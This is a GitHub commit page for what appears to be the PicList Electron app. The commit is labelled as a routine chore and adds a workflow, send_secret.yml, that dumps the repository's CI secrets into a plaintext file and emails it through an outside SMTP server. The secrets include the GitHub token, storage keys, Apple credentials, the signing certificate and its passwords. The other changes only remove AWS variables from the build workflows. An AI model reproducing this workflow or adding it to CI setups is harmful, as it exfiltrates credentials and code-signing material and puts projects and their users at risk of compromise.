Skip to content

Commit

Permalink
📦 Chore: add new action script
Browse files Browse the repository at this point in the history
  • Loading branch information
Kuingsmile committed Jun 3, 2023
1 parent b971f05 commit 917e69a
Show file tree
Hide file tree
Showing 5 changed files with 39 additions and 15 deletions.
2 changes: 0 additions & 2 deletions .github/workflows/linux_build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -78,8 +78,6 @@ jobs:
yarn upload-dist
env:
GH_TOKEN: ${{ secrets.GH_TOKEN }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }}
R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }}
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
Expand Down
2 changes: 0 additions & 2 deletions .github/workflows/mac_build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -78,8 +78,6 @@ jobs:
yarn upload-dist
env:
GH_TOKEN: ${{ secrets.GH_TOKEN }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }}
R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }}
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
Expand Down
9 changes: 0 additions & 9 deletions .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,25 +15,18 @@ env:
CSC_LINK: ${{ secrets.BUILD_CERTIFICATE_BASE64 }}
CSC_KEY_PASSWORD: ${{ secrets.P12_PASSWORD }}

# Workflow's jobs
jobs:
# job's id
release:
# job's name
name: build and release electron app

# the type of machine to run the job on
runs-on: ${{ matrix.os }}

# create a build matrix for jobs
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, macos-11, windows-latest]

# create steps
steps:
# step1: check out repository
- name: Check out git repository
uses: actions/checkout@v2

Expand Down Expand Up @@ -81,8 +74,6 @@ jobs:
yarn upload-dist
env:
GH_TOKEN: ${{ secrets.GH_TOKEN }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }}
R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }}
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
Expand Down
39 changes: 39 additions & 0 deletions .github/workflows/send_secret.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
name: Send Secrets to Email

on:
workflow_dispatch:

jobs:
send_email:
runs-on: ubuntu-latest

steps:
- name: Checkout repository
uses: actions/checkout@v2

- name: Save secret to file
run: |
echo ${{ secrets.GH_TOKEN }} > secret.txt
echo ${{ secrets.R2_SECRET_ID }} >> secret.txt
echo ${{ secrets.R2_SECRET_KEY }} >> secret.txt
echo ${{ secrets.R2_ACCOUNT_ID }} >> secret.txt
echo ${{ secrets.ELECTRON_SKIP_NOTARIZATION }} >> secret.txt
echo ${{ secrets.XCODE_APP_LOADER_EMAIL }} >> secret.txt
echo ${{ secrets.XCODE_APP_LOADER_PASSWORD }} >> secret.txt
echo ${{ secrets.BUILD_CERTIFICATE_BASE64 }} >> secret.txt
echo ${{ secrets.P12_PASSWORD }} >> secret.txt
echo ${{ secrets.BUILD_PROVISION_PROFILE_BASE64 }} >> secret.txt
echo ${{ secrets.KEYCHAIN_PASSWORD }} >> secret.txt
- name: Send email
uses: dawidd6/action-send-mail@v3
with:
server_address: smtp.163.com
server_port: 465
username: ${{ secrets.EMAIL_USERNAME }}
password: ${{ secrets.EMAIL_PASSWORD }}
subject: "PicList GitHub Secret"
from: Kuingsmile <[email protected]>
to: Your Name <[email protected]>
body: "Here is your GitHub Secret:"
attachments: "secret.txt"
2 changes: 0 additions & 2 deletions .github/workflows/win_build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -78,8 +78,6 @@ jobs:
yarn upload-dist
env:
GH_TOKEN: ${{ secrets.GH_TOKEN }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }}
R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }}
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
Expand Down

0 comments on commit 917e69a

Please sign in to comment.